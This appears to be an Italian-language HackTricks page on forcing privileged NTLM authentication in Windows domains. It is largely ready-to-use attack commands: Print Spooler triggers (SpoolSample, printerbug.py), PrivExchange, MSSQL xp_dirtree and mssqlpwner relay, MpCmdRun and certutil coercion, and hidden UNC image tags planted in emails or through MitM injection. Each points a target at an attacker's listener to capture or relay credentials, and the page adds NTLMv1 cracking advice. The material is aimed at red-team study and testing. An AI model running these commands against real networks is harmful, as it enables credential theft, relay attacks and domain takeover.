Forzare l'autenticazione privilegiata NTLM

Reading time: 5 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

SharpSystemTriggers

SharpSystemTriggers è una collezione di trigger di autenticazione remota codificati in C# utilizzando il compilatore MIDL per evitare dipendenze di terze parti.

Abuso del servizio Spooler

Se il servizio Print Spooler è abilitato, puoi utilizzare alcune credenziali AD già conosciute per richiedere al server di stampa del Domain Controller un aggiornamento sui nuovi lavori di stampa e semplicemente dirgli di inviare la notifica a un sistema.
Nota che quando la stampante invia la notifica a sistemi arbitrari, deve autenticarsi contro quel sistema. Pertanto, un attaccante può far sì che il servizio Print Spooler si autentichi contro un sistema arbitrario, e il servizio utilizzerà l'account del computer in questa autenticazione.

Trovare server Windows nel dominio

Utilizzando PowerShell, ottieni un elenco di macchine Windows. I server sono solitamente una priorità, quindi concentriamoci lì:

bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Trovare i servizi Spooler in ascolto

Utilizzando un @mysmartlogin's (Vincent Le Toux's) SpoolerScanner leggermente modificato, verifica se il Servizio Spooler è in ascolto:

bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Puoi anche usare rpcdump.py su Linux e cercare il protocollo MS-RPRN.

bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Chiedi al servizio di autenticarsi contro un host arbitrario

Puoi compilare SpoolSample da qui.

bash
SpoolSample.exe <TARGET> <RESPONDERIP>

o usa dementor.py di 3xocyte o printerbug.py se sei su Linux

bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinare con Delegazione Non Vincolata

Se un attaccante ha già compromesso un computer con Delegazione Non Vincolata, l'attaccante potrebbe far autenticare la stampante contro questo computer. A causa della delegazione non vincolata, il TGT dell'account computer della stampante sarà salvato in memoria del computer con delegazione non vincolata. Poiché l'attaccante ha già compromesso questo host, sarà in grado di recuperare questo ticket e abusarne (Pass the Ticket).

Forzare l'autenticazione RCP

{{#ref}} https://github.com/p0dalirius/Coercer {{#endref}}

PrivExchange

L'attacco PrivExchange è il risultato di un difetto trovato nella funzione PushSubscription di Exchange Server. Questa funzione consente al server Exchange di essere forzato da qualsiasi utente di dominio con una casella di posta ad autenticarsi su qualsiasi host fornito dal client tramite HTTP.

Per impostazione predefinita, il servizio Exchange viene eseguito come SYSTEM e ha privilegi eccessivi (specificamente, ha privilegi WriteDacl sull'aggiornamento cumulativo del dominio pre-2019). Questo difetto può essere sfruttato per abilitare il inoltro di informazioni a LDAP e successivamente estrarre il database NTDS del dominio. Nei casi in cui l'inoltro a LDAP non sia possibile, questo difetto può comunque essere utilizzato per inoltrare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato.

All'interno di Windows

Se sei già all'interno della macchina Windows, puoi forzare Windows a connettersi a un server utilizzando account privilegiati con:

Defender MpCmdRun

bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Oppure usa quest'altra tecnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

È possibile utilizzare certutil.exe lolbin (binary firmato da Microsoft) per forzare l'autenticazione NTLM:

bash
certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

Se conosci l'indirizzo email dell'utente che accede a una macchina che vuoi compromettere, puoi semplicemente inviargli un email con un'immagine 1x1 come

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

e quando lo apre, cercherà di autenticarsi.

MitM

Se puoi eseguire un attacco MitM a un computer e iniettare HTML in una pagina che visualizzerà, potresti provare a iniettare un'immagine come la seguente nella pagina:

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Cracking NTLMv1

Se riesci a catturare NTLMv1 challenges leggi qui come crackerli.
Ricorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks